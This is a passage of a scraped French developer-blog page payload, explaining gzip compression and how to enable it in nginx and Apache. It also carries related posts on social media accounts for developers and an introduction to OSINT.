avant de l’envoyer**, et de la décompresser à l’arrivée, que de l’envoyer brute.\n\n### Est-ce toujours le cas ?\n\nComme toute compression, il y a certains cas particuliers ou la compression n’est pas suffisamment efficace pour être intéressante, **mais c’est très rare !**\n\nSi vous n’êtes pas familier avec les concepts de **compression sans perte**, je vous invite à lire [notre précédent article](https://code-garage.fr/blog/introduction-a-la-compression-de-donnees-avec-algorithme-rle/) pour vous familiariser avec certains concepts.\n\n> Notamment celui du **taux de compression**, qui varie selon les algorithmes, et les données à compresser\n\n# L’utilité de gzip\n\nVous connaissez sûrement le concept d’archive compressée appelée « zip », et bien gzip tire son nom de cette technologie, et signifie « GNU zip ».\n\n> Mais attention, car **ce sont deux technologies bien différentes.**\n\n**Un fichier zip est une archive**, qui contient un ou plusieurs fichiers compressés individuelles, et regroupés ensemble dans un « dossier ». Il existe de nombreux algorithmes de compression compatibles pour créer une archive zip.\n\nGzip est différent, car **c’est un logiciel de compression/décompression de fichier unique, mais également de flux de données**, ce qui en fait un outil formidable pour traiter des données arrivant directement du réseau.\n\n> D’où son utilisation dans le monde du web\n\nEt la compression qu’offre gzip n’est pas anodine, car on parle d’**un taux de compression moyen d’environs 40% !**\n\n### L’algorithme derrière gzip\n\nLe logiciel Gzip utilise l’algorithme DEFLATE qui est lui même **une combinaison entre l’algorithme LZ77 et le codage de Huffman.**\n\nNous n’allons pas rentrer dans les détails de l’implémentation de cet algorithme, car ce serait trop long, mais nous allons parler des grands principes et de leurs avantages.\n\n> Si vous souhaitez comprendre l’implémentation au complet, je vous conseille [cette série de vidéos](https://www.youtube.com/watch?v=L7g1HI6sw3w&list=PLHuw27vJ1fCdwjwK2HbsClO9-i873Q44x) !\n\nLZ77 est un algorithme de compression (sans-perte) **basé sur un dictionnaire de motifs.**\n\nCela signifie que l’algorithme va parcourir les données binaires du fichier, **indexer chaque nouveau motif découvert dans un dictionnaire**, et remplacer le motif par son index dans le dictionnaire dans le fichier compressé.\n\nLe parcours du fichier se fait avec **une fenêtre glissante qui va parcourir chaque caractère**, et l’associer aux n caractères précédent pour détecter un motif existant ou non, avec n supérieur ou égal à 1.\n\n> Donc la plus petite taille de motif sera de deux caractères\n\nCette méthode de compression possède un gros avantage : il n’y a **pas besoin de posséder l’entièreté du fichier pour commencer la décompression.**\n\nLe dictionnaire étant situé au début du fichier compressé, et la détection des motifs étant linéaire (caractère par caractère), **il suffit de relier chaque index à son motif correspondant dans le dictionnaire pour retrouver le fichier d’origine.**\n\n## Activer la compression gzip sur votre site\n\n### Côté client\n\nPour activer la compression des réponses HTTP, il faut que le client et le serveur travaillent main dans la main pour se mettre d’accord sur une méthode de compression à utiliser. \n\nPour indiquer au serveur de compresser les données, **le client (navigateur) doit ajouter une en-tête spécifique** à toutes les requêtes, comme ceci :\n\n``` plaintext\n\"Accept-Encoding\": gzip\n```\n\n> Heureusement, tous les navigateurs web modernes ajoutent cette en-tête par défaut, vous n’aurez donc rien à faire.\n\n### Côté serveur\n\nLe serveur, de son côté, doit compresser les données contenues dans la réponse, mais **il doit également indiquer au client que la réponse a été compressée**, avec l’en-tête de réponse suivante :\n\n``` plaintext\n\"Content-Encoding\": gzip\n```\n\n#### Nginx\n\nPour activer la compression gzip sur Nginx, il faudra ajouter la directive suivante dans le fichier nginx.conf :\n\n``` plaintext\ngzip on;\n```\n\n> Par défaut, nginx ne compresse que le type [MIME](https://code-garage.fr/blog/comprendre-les-types-mime) text/html, pour étendre cette compression, suivez [la documentation officielle](https://docs.nginx.com/nginx/admin-guide/web-server/compression/)\n\n#### Apache\n\nPour activer la compression gzip sur Apache (2+), il faudra d’abord activer le module deflate et redémarrer le service :\n\n```bash\nsudo a2enmod deflate\nservice apache2 restart\n```\n\nPuis ajouter la directive suivante dans le fichier apache2.conf :\n\n```\n#/etc/apache2/apache2.conf\n#...\n\n\u003CIfModule mod_deflate.c>\n # Compress HTML, CSS, JavaScript, Text, XML and fonts\n AddOutputFilterByType DEFLATE application/javascript\n AddOutputFilterByType DEFLATE application/rss+xml\n AddOutputFilterByType DEFLATE application/vnd.ms-fontobject\n AddOutputFilterByType DEFLATE application/x-font\n AddOutputFilterByType DEFLATE application/x-font-opentype\n AddOutputFilterByType DEFLATE application/x-font-otf\n AddOutputFilterByType DEFLATE application/x-font-truetype\n AddOutputFilterByType DEFLATE application/x-font-ttf\n AddOutputFilterByType DEFLATE application/x-javascript\n AddOutputFilterByType DEFLATE application/xhtml+xml\n AddOutputFilterByType DEFLATE application/xml\n AddOutputFilterByType DEFLATE font/opentype\n AddOutputFilterByType DEFLATE font/otf\n AddOutputFilterByType DEFLATE font/ttf\n AddOutputFilterByType DEFLATE image/svg+xml\n AddOutputFilterByType DEFLATE image/x-icon\n AddOutputFilterByType DEFLATE text/css\n AddOutputFilterByType DEFLATE text/html\n AddOutputFilterByType DEFLATE text/javascript\n AddOutputFilterByType DEFLATE text/plain\n AddOutputFilterByType DEFLATE text/xml\n \n # Level of compression (highest compression level)\n DeflateCompressionLevel 9\n \n # Do not compress certain file types\n SetEnvIfNoCase Request_URI \\.(?:gif|jpe?g|png)$ no-gzip dont-vary\n SetEnvIfNoCase Request_URI \\.(?:exe|t?gz|zip|bz2|sit|rar)$ no-gzip dont-vary\n SetEnvIfNoCase Request_URI \\.pdf$ no-gzip dont-vary\n \n # Make sure proxies don't deliver the wrong content\n Header append Vary User-Agent env=!dont-vary\n\u003C/IfModule>\n```\n\n## À noter\n\nAttention, utiliser gzip n’exclut pas le fait de devoir [minifier ses fichiers sources](https://code-garage.fr/blog/pourquoi-et-comment-minifier-son-code-avec-parcel/), la compression ne remplace pas la minification, **elles sont complémentaires !**\n\nEt il faut savoir que si gzip n’est conçu que pour compresser des fichiers unique, **il est possible de le coupler avec une archive TAR pour faire une archive compressée** (.tar.gz)","Activer gzip sur son serveur web, d'accord, mais pour quoi faire exactement ?","la-compression-gzip-c-est-quoi","2023-11-06T08:24:27.503Z","2023-11-06T08:37:01.385Z","2023-11-06T08:34:02.186Z",[2082],{"id":2083,"title":2084,"description":2085,"isFeatured":2086,"createdAt":2087,"updatedAt":2088,"publishedAt":2089,"messagesCount":2083,"status":2090,"isPublic":2086,"accessibility":2091,"type":2092},1,"[Javascript] Questions, frameworks, news...","Vous voulez partager une info, ou un point de vue sur le langage et son écosystème ? C'est par ici !",true,"2024-01-10T14:19:03.672Z","2024-02-21T10:28:26.135Z","2024-01-10T14:19:04.329Z","published","open","course",{"id":575,"name":2094,"slug":2095,"createdAt":2096,"updatedAt":2097,"isPopular":47,"cover":8,"posts":2098,"discussions":2130},"Réseaux sociaux","reseaux-sociaux","2021-02-12T07:52:23.000Z","2023-09-19T15:05:49.112Z",[2099,2111,2112,2121],{"id":2100,"title":2101,"content":2102,"socialTitle":8,"description":2103,"socialDescription":8,"slug":2104,"createdAt":2105,"updatedAt":2106,"publishedAt":2107,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":2108,"coverCopyright":2109,"coverCopyrightLink":2110},192,"Pourquoi j'ai créé un compte TikTok ?","Ceux qui me connaissent le savent je ne suis pas un gros fan de réseaux sociaux, en tout cas pas en tant que consommateur, mais **je prends le temps chaque jour de publier mes articles sur mes trois réseaux principaux** que sont [LinkedIn](https://www.linkedin.com/in/nicolas-brondin/), [Facebook](https://www.facebook.com/nicolasbrondinbernard) et [Twitter](https://twitter.com/NicolasBrondin).\n\nCes réseaux me permettent de partager mon travail, mais aussi de recevoir les retours (de plus en plus nombreux) des lecteurs qui suivent très régulièrement mon blog et **d'échanger autant que possible autour du monde du développement web.**\n\nJe suis vraiment satisfait que mes articles puissent aider de plus en plus de développeurs mais je sais aussi que **le format blog, avec des contenus textuels et relativement longs, ne convient pas à tout le monde.**\n\n> Pas de panique, je continue le blog comme avant !\n\nJ'ai décidé de me lancer un nouveau défi, et d'expérimenter **un nouveau format de contenu complètement à l'opposé** de celui que je continue de proposer actuellement.\n\nContrairement aux articles de 800 mots en moyenne où j'essaye de transmettre des concepts assez complexes parfois, **je lance un nouveau format de vidéos courtes pour vulgariser un seul concept en... 30 secondes !**\n\n**Je sais que le public pour ce type de contenu est complêtement différent de mon audience habituelle** : pas forcément la même connaissance technique, pas la même consommation d'informations et sûrement pas les mêmes objectifs.\n\n**Ce sera peut-être l'occasion pour certains de faire une transition** entre la consommation exclusive de vidéo vers une lecture d'articles plus longs et plus fournis en informations au fur et à mesure des vidéos.\n\n> Ou peut-être pas, mais j'ai envie de tenter l'expérience !\n\nLorsque je me suis posé la question de savoir sur quelle plateforme publier ces contenus, **deux contraintes se sont dessinées** :\n\n* **Un format court, mais pas éphémère**, et sur lequel je peux rajouter quelques informations textuelles\n* **Que la création soit rapide et ne me prenne pas plus d'un quart d'heure** par jour en plus de mes articles quotidiens.\n\n**J'ai donc décidé d'investir de mon temps dans deux plateformes : Instagram** que j'utilisais déjà mais très peu, **et TikTok**, car si je n'affectionne pas le contenu présent actuellement sur la plateforme, il ne tient qu'à moi d'y remédier (à mon humble échelle).\n\nSi ce format vous intéresse, je vous invite à aller **jeter un oeil aux premières vidéos sorties sur votre plateforme préférée !**\n\n**Instagram** : [https://www.instagram.com/nicolas\\_brondin\\_bernard/](https://www.instagram.com/nicolas_brondin_bernard/)\n\n**TikTok** : [https://tiktok.com/NicolasBrondinBernard](https://tiktok.com/NicolasBrondinBernard)","Oui, vous avez bien lu, mais attendez, ne partez pas !","pourquoi-j-ai-cree-un-compte-tiktok","2021-02-12T07:48:58.000Z","2023-09-22T13:55:22.067Z","2021-02-12T09:20:07.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/jona-friedri-W-o4Oiwh2CM-unsplash.jpg","Jona Friedri sur Unsplash","https://unsplash.com/@jonafriedri?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":5,"title":6,"content":7,"socialTitle":8,"description":9,"socialDescription":8,"slug":10,"createdAt":11,"updatedAt":12,"publishedAt":13,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":14,"coverCopyright":15,"coverCopyrightLink":16},{"id":2113,"title":2114,"content":2115,"socialTitle":8,"description":8,"socialDescription":8,"slug":2116,"createdAt":2117,"updatedAt":2118,"publishedAt":2119,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":2120,"coverCopyright":8,"coverCopyrightLink":8},412,"Les 14 comptes dev à suivre sur Instagram","**Voici une sélection de 14 comptes pour développeurs et développeuses web** à suivre sur Instagram, avec majoritairement des morceaux de codes, des astuces, des news, etc...\n\n> À noter que la majorité de ces comptes sont anglophones\n\n## Les comptes sur le développement web\n\n### Code2Ex\n\n**Lien :** [https://www.instagram.com/code2ex/](https://www.instagram.com/code2ex/)\n\n### LubnaDev\n\n**Lien :** [https:](https://www.instagram.com/lubnadev/)[//www.instagram.com/lubnadev/](https://www.instagram.com/lubnadev/)\n\n### CodingHome\n\n**Lien :** [https://www.instagram.com/coding\\_home/](https://www.instagram.com/coding_home/)\n\n### WebCodingDev\n\n**Lien :** [https://www.instagram.com/webcodingdev/](https://www.instagram.com/webcodingdev/)\n\n### Bojan Novakovic\n\n**Lien :** [https://www.instagram.com/bojanovakovic/](https://www.instagram.com/bojanovakovic/)\n\n### JavaScript Mastery\n\n**Lien :** [https://www.instagram.com/javascriptmastery/](https://www.instagram.com/javascriptmastery/)\n\n### Développeur Libre \n\n**Lien :** [https://www.instagram.com/developpeur\\_libre/](https://www.instagram.com/developpeur_libre/)\n\n### JavaScript Tips\n\n**Lien :** [https://www.instagram.com/javascript.tips/](https://www.instagram.com/javascript.tips/)\n\n### Développeur Junior \n\n**Lien :** [https://www.instagram.com/developpeur\\_junior/](https://www.instagram.com/developpeur_junior/)\n\n### Master JavaScript\n\n**Lien :** [https://www.instagram.com/master\\_javascript/](https://www.instagram.com/master_javascript/)\n\n### JavaScript Coding\n\n**Lien :** [https://www.instagram.com/javascript\\_coding/](https://www.instagram.com/javascript_coding/)\n\n### MrSid\n\n**Lien :** [https://www.instagram.com/mrsidverse/](https://www.instagram.com/mrsidverse/)\n\n### Coding With Sagar\n\n**Lien :** [https://www.instagram.com/codingwithsagar/](https://www.instagram.com/codingwithsagar/)\n\n## Les comptes sur l'UI/UX\n\n### UI Global\n\n**Lien :** [https://www.instagram.com/ui.global/](https://www.instagram.com/ui.global/)\n\n### UX Brainy\n\n**Lien :** [https://www.instagram.com/uxbrainy/](https://www.instagram.com/uxbrainy/)\n\n### UI Design Pattern\n\n**Lien :** [https://www.instagram.com/uidesignpatterns/](https://www.instagram.com/uidesignpatterns/)\n\n### WeLoveWebDesign\n\n**Lien :** [https://www.instagram.com/welovewebdesign/](https://www.instagram.com/welovewebdesign/)\n\n### UI Gradient\n\n**Lien :** [https://www.instagram.com/ui\\_gradient/](https://www.instagram.com/ui_gradient/)\n\n* * *\n\n**Cette liste a été sélectionnée par [Alex ATC](https://twitter.com/themaster_dev) et Nicolas Brondin-Bernard**, si vous voulez ajouter un compte, il suffit de le proposer en commentaire !\n\n","les-comptes-dev-a-suivre-sur-instagram","2022-09-09T11:06:46.000Z","2023-09-19T15:05:45.427Z","2022-09-09T14:11:24.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/09/nathana-reboucas-LIfRyiWWBZs-unsplash.jpg",{"id":2122,"title":2123,"content":2124,"socialTitle":8,"description":8,"socialDescription":8,"slug":2125,"createdAt":2126,"updatedAt":2127,"publishedAt":2128,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":2129,"coverCopyright":440,"coverCopyrightLink":441},413,"Les 20 comptes Twitter à suivre pour les développeurs","**Voici une sélection de 20 comptes pour développeurs et développeuses web** à suivre sur Twitter, avec majoritairement des morceaux de codes, des astuces, des news, etc...\n\n## Mathis Hammel\n\n### @MathisHammel\n\nLien : [https://twitter.com/MathisHammel](https://twitter.com/MathisHammel)\n\n## Manu.js\n\n### @Neoelectron\n\nLien : [https://twitter.com/Neolectron](https://twitter.com/Neolectron)\n\n## Grafikart\n\n### @grafikart\\_fr\n\nLien : [https://twitter.com/grafikart\\_fr](https://twitter.com/grafikart_fr)\n\n## Imrane\n\n### @ImraneSubstack\n\nLien : [https://twitter.com/ImraneSubstack](https://twitter.com/ImraneSubstack)\n\n## Anthony Gorsky\n\n### @Gorski\\_anthony\n\nLien : [https://twitter.com/Gorski\\_anthony](https://twitter.com/Gorski_anthony)\n\n## Artisan Développeur\n\n### @art\\_developpeur\n\nLien : [https://twitter.com/art\\_developpeur](https://twitter.com/art_developpeur)\n\n## Abeba Ngwe\n\n### @alorsondev\n\nLien : [https://twitter.com/alorsondev](https://twitter.com/alorsondev)\n\n## Graven\n\n### @Gravenilvec\n\nLien : [https://twitter.com/Gravenilvec](https://twitter.com/Gravenilvec)\n\n## Le Dev Novice\n\n### @ledevnovice\n\nLien : [https://twitter.com/ledevnovice](https://twitter.com/ledevnovice)\n\n## Melvyn Développeur\n\n### @melvyndev\n\nLien : [https://twitter.com/melvynxdev](https://twitter.com/melvynxdev)\n\n## LaDevdelaToile\n\n### @AlineLSMN\n\nLien : [https://twitter.com/AlineLSMN](https://twitter.com/AlineLSMN)\n\n## Happy To Dev\n\n### @happytodev\n\nLien : [https://twitter.com/happytodev](https://twitter.com/happytodev)\n\n## Alex So Yes\n\n### @alexsoyes\n\nLien : [https://twitter.com/alexsoyes](https://twitter.com/alexsoyes)\n\n## Console Buche\n\n### @Console\\_buche\n\nLien : [https://twitter.com/Console\\_buche](https://twitter.com/Console_buche)\n\n## Alissone Neyret\n\n### @AlissoneNeyret\n\nLien : [https://twitter.com/Alissoneneyret](https://twitter.com/Alissoneneyret)\n\n## IceSofty\n\n### @IceSofty\n\nLien : [https://twitter.com/icesofty](https://twitter.com/icesofty)\n\n## Mansour\n\n### @Mans\\_JS\n\nLien : [https://twitter.com/Mans\\_JS](https://twitter.com/Mans_JS)\n\n## Samuel Path\n\n### @smlpth\n\nLien : [https://twitter.com/smlpth](https://twitter.com/smlpth)\n\n## Seb\n\n### @RatonCodeur\n\nLien : [https://twitter.com/RatonCodeur](https://twitter.com/RatonCodeur)\n\n## Smaïne\n\n### @SmaïneDev\n\nLien : [https://twitter.com/SmaineDev](https://twitter.com/SmaineDev)\n\n## Mehdi Zed\n\n### @jesuisundev\n\nLien : [https://twitter.com/jesuisundev](https://twitter.com/jesuisundev)\n\n* * *\n\n**Cette liste a été sélectionnée par [Alex ATC](https://twitter.com/themaster_dev) et Nicolas Brondin-Bernard**, si vous voulez ajouter un compte, il suffit de le proposer en commentaire !\n\n","les-comptes-twitter-a-suivre-pour-les-developpeurs","2022-09-09T14:13:35.000Z","2023-09-19T15:05:45.461Z","2022-09-09T15:09:17.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/09/brett-jordan-ulRlAm1ITMU-unsplash.jpg",[],{"id":2132,"name":2133,"slug":2134,"createdAt":2135,"updatedAt":2136,"isPopular":47,"cover":8,"posts":2137,"discussions":2152},199,"Métadonnées","metadonnees","2022-06-16T07:55:47.000Z","2023-09-19T15:05:52.268Z",[2138,2139,2151],{"id":5,"title":6,"content":7,"socialTitle":8,"description":9,"socialDescription":8,"slug":10,"createdAt":11,"updatedAt":12,"publishedAt":13,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":14,"coverCopyright":15,"coverCopyrightLink":16},{"id":2140,"title":2141,"content":2142,"socialTitle":8,"description":2143,"socialDescription":8,"slug":2144,"createdAt":2145,"updatedAt":2146,"publishedAt":2147,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":2148,"coverCopyright":2149,"coverCopyrightLink":2150},420,"Qu'est-ce que l'OSINT, ou \"Open-Source Intelligence\" ?","OSINT est un acronyme qui signifie \"Open-Source Intelligence\", mais même en connaissant les mots derrière cet acronyme, **cela ne donne pas forcément toutes les clés pour comprendre ce qui se cache derrière ce concept !**\n\n> Allons-y mot à mot...\n\nIci \"Intelligence\" ne fait pas référence à nos capacités intellectuelles, mais plutôt à **la recherche et à l'investigation de renseignements.** C'est l'utilisation américaine du mot, qui se retrouve d'ailleurs dans l'acronyme CIA pour \"**Central Intelligence Agency**\".\n\nEt la partie \"Open-Source\" signifie que l'investigation ne se fera pas grâce à des données, documents, informations confidentielles ou qui requièrent des autorisations spéciales, mais **avec des données disponibles au grand public.**\n\nSi on devait résumer en une phrase : L'OSINT est une pratique de renseignement et d'investigation basée sur des informations disponibles en accès libre.\n\n> À noter que certaines de ces informations en accès libre, sont en réalité des données qui devraient être confidentielles mais dont la sécurité a été négligée...\n\n## À quoi cela sert ?\n\nDe la recherche de renseignements, on peut en avoir besoin pour tous les domaines, allant de sujets très sensibles (criminalité, terrorisme, géopolitique,...) jusqu'à des sujets de divertissement (jeu-vidéo, musique, cinéma,...).\n\n> C'est une pratique professionnelle très présente dans les forces de l'ordre, mais également dans la presse, pour recueillir des sujets exclusifs avant tout le monde !\n\nPar exemple, **beaucoup d'annonces de nouveautés dans le jeu vidéo sont détectées avant leur sortie**, simplement en allant fouiller dans les fichiers du jeu en question !\n\n> Un exemple d'une problématique de renseignement : Retrouver la véritable identité d'un harceleur sur les réseaux pour l'assigner en justice.\n\n**Si vous voulez découvrir de l'OSINT en pratique**, je vous recommande de regarder ce mini-reportage où l'on retrouve [l'identité d'une personne à partir d'une simple photo prise depuis un avion...](https://code-garage.fr/videos/?id=udYtHVEwbYA)\n\n**Certaines personnes ont fait de l'OSINT un métier**, tandis que certaines personnes apportent de l'aide bénévolement, ou le font simplement pour s'amuser !\n\n## Comment faire ?\n\nL'OSINT utilise toutes les techniques et tous les outils possibles pour **tirer des informations complémentaires à partir d'une donnée source**, pour ensuite la recouper avec d'autres renseignements, documents...\n\nVoici **quelques techniques de base** pour retrouver plus d'informations à partir d'une simple donnée. On utilise par exemple :\n\n* **Un outil d'analyse** [**des métadonnées** EXIF](https://code-garage.fr/blog/qu-est-ce-qu-une-metadonnee/) sur une image pour retrouver la géolocalisation, la date/heure de prise de vue, etc...\n* **La recherche d'image inversée** pour retrouver l'origine et le contexte d'une image\n* **[Les recherches booléennes](https://code-garage.fr/blog/les-recherches-booleennes-ou-les-google-dorks-a-connaitre/)** des moteurs de recherches pour filtrer des résultats\n* **Des outils de cartographie** pour repérer la localisation précise de vues aériennes\n* **Les réseaux sociaux** pour accumuler des informations sur une personne\n\n**Si vous voulez une liste plus ou moins exhaustive**, je vous conseille le site suivant : [https://osintframework.com/](https://osintframework.com/)\n\n### Comment s'entrainer ?\n\nSi vous souhaitez **tester vos capacités tout en apprenant avec des missions fictives, mais en situations réelles**, le site OZINT est absolument génial :\n\n::: bookmark\n[![](https://ozint.eu/assets/images/og.jpg)OZINT - La plateforme communautaire dédiée à l’OSINT](https://ozint.eu/)\n:::\n\n","Vous êtes passionné.e par l'informatique et vous n'avez jamais entendu, ou simplement jamais compris, en quoi consiste l'OSINT ? Alors cet article est fait pour vous !","qu-est-ce-que-osint-ou-open-source-intelligence","2022-10-07T08:06:42.000Z","2023-09-19T15:05:45.544Z","2022-10-10T06:55:39.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/10/nasa-_SFJhRPzJHs-unsplash.jpg","NASA sur Unsplash","https://unsplash.com/@nasa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":222,"title":223,"content":224,"socialTitle":8,"description":225,"socialDescription":8,"slug":226,"createdAt":227,"updatedAt":228,"publishedAt":229,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":230,"coverCopyright":231,"coverCopyrightLink":232},[],{"id":2154,"name":2155,"slug":2156,"createdAt":2157,"updatedAt":2157,"isPopular":47,"cover":8,"posts":2158,"discussions":2160},261,"Open Graph","open-graph","2024-03-05T15:03:04.038Z",[2159],{"id":5,"title":6,"content":7,"socialTitle":8,"description":9,"socialDescription":8,"slug":10,"createdAt":11,"updatedAt":12,"publishedAt":13,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":14,"coverCopyright":15,"coverCopyrightLink":16},[],[],{},{"$4uPpC4gagc":8},"/blog/comment-personnaliser-le-partage-de-votre-site-sur-les-reseaux-sociaux-avec-opengraph/",{"user":2166},{"authUser":8,"loaded":47,"pointsToAdd":2167,"notifications":2168,"notificationTimer":8,"onboarding":2169},0,[],{"freeCourses":47}]</script> <script>window.__NUXT__={};window.__NUXT__.config={public:{baseURL:"https://code-garage.fr",strapiURL:"https://code-garage-cms.cleverapps.io",SENTRY_DSN:"https://d8a01d0807894619bbecdbb53819a8e9@o4505193846931456.ingest.sentry.io/4505194015555585",siteUrl:"https://code-garage.fr",strapi:{url:"https://code-garage-cms.cleverapps.io",prefix:"/api",version:"v4",cookie:{maxAge:5184000,secure:true,sameSite:true},auth:{},cookieName:"strapi_jwt",devtools:false},plausible:{hashMode:false,trackLocalhost:false,domain:"code-garage.fr",apiHost:"https://plausible.io",autoPageviews:true,autoOutboundTracking:false}},app:{baseURL:"/",buildAssetsDir:"/_nuxt/",cdnURL:""}}</script></body> </html>